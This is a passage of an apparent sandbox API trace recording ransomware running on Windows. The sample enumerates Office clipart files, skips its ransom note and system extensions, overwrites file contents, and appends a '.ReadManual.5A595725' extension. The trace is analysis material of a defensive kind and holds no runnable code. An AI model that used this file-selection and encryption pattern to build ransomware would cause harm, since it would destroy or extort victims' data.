(in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.ReadManual.5A595725" [0263.279] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.ReadManual.5A595725") returned 87 [0263.279] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38394816289) returned 1 [0263.279] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0263.280] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.280] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2616) returned 1 [0263.280] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa38, lpName=0x0) returned 0x184 [0263.280] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.280] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.281] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.283] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.283] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa38) returned 0x2f0000 [0263.283] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.283] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38395171775) returned 1 [0263.283] CloseHandle (hObject=0x184) returned 1 [0263.283] SetSecurityInfo () returned 0x57 [0263.283] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.283] CloseHandle (hObject=0x194) returned 1 [0263.283] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0263.283] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01923_.WMF" | out: lpString1="HH01923_.WMF") returned="HH01923_.WMF" [0263.283] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.283] StrStrIW (lpFirst="HH01923_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.283] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.283] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.283] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.283] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.283] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.284] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.284] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" [0263.284] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.ReadManual.5A595725" [0263.284] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.ReadManual.5A595725") returned 87 [0263.284] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38395265218) returned 1 [0263.284] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0263.284] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.284] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26706) returned 1 [0263.284] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6852, lpName=0x0) returned 0x184 [0263.284] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.285] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.285] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.286] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.287] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6852) returned 0x2f0000 [0263.287] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.287] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38395607323) returned 1 [0263.287] CloseHandle (hObject=0x184) returned 1 [0263.287] SetSecurityInfo () returned 0x57 [0263.288] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.288] CloseHandle (hObject=0x194) returned 1 [0263.288] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0263.288] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH02155_.WMF" | out: lpString1="HH02155_.WMF") returned="HH02155_.WMF" [0263.288] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.288] StrStrIW (lpFirst="HH02155_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.288] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.288] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.288] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" [0263.288] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.ReadManual.5A595725" [0263.288] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.ReadManual.5A595725") returned 87 [0263.288] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38395702286) returned 1 [0263.288] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0263.288] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.289] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2704) returned 1 [0263.289] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa90, lpName=0x0) returned 0x184 [0263.289] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.289] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.289] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.296] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.296] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa90) returned 0x2f0000 [0263.296] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.296] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38396475113) returned 1 [0263.296] CloseHandle (hObject=0x184) returned 1 [0263.296] SetSecurityInfo () returned 0x57 [0263.296] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.296] CloseHandle (hObject=0x194) returned 1 [0263.296] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0263.296] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH02166_.WMF" | out: lpString1="HH02166_.WMF") returned="HH02166_.WMF" [0263.296] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.296] StrStrIW (lpFirst="HH02166_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.296] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.296] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.296] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.297] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.297] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" [0263.297] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.ReadManual.5A595725" [0263.297] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.ReadManual.5A595725") returned 87 [0263.297] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38396571360) returned 1 [0263.297] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0263.297] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.297] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1324) returned 1 [0263.297] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52c, lpName=0x0) returned 0x184 [0263.298] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.298] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.298] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.300] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.300] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52c) returned 0x2f0000 [0263.300] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.300] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38396873057) returned 1 [0263.300] CloseHandle (hObject=0x184) returned 1 [0263.300] SetSecurityInfo () returned 0x57 [0263.300] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.300] CloseHandle (hObject=0x194) returned 1 [0263.300] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0263.300] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH02282_.WMF" | out: lpString1="HH02282_.WMF") returned="HH02282_.WMF" [0263.300] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.300] StrStrIW (lpFirst="HH02282_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.300] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.300] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.300] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.300] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.301] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.301] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" [0263.301] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.ReadManual.5A595725" [0263.301] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.ReadManual.5A595725") returned 87 [0263.301] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38396970953) returned 1 [0263.301] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0263.301] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.301] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7932) returned 1 [0263.301] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1efc, lpName=0x0) returned 0x184 [0263.301] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.302] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.302] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.304] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.304] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1efc) returned 0x2f0000 [0263.304] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38397337980) returned 1 [0263.305] CloseHandle (hObject=0x184) returned 1 [0263.305] SetSecurityInfo () returned 0x57 [0263.305] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.305] CloseHandle (hObject=0x194) returned 1 [0263.305] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0263.305] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH02298_.WMF" | out: lpString1="HH02298_.WMF") returned="HH02298_.WMF" [0263.305] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.305] StrStrIW (lpFirst="HH02298_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.305] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.305] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.305] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" [0263.305] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.ReadManual.5A595725" [0263.306] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.ReadManual.5A595725") returned 87 [0263.306] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38397432269) returned 1 [0263.306] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0263.306] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.307] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5552) returned 1 [0263.307] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b0, lpName=0x0) returned 0x184 [0263.307] SetFileInformationByHandle 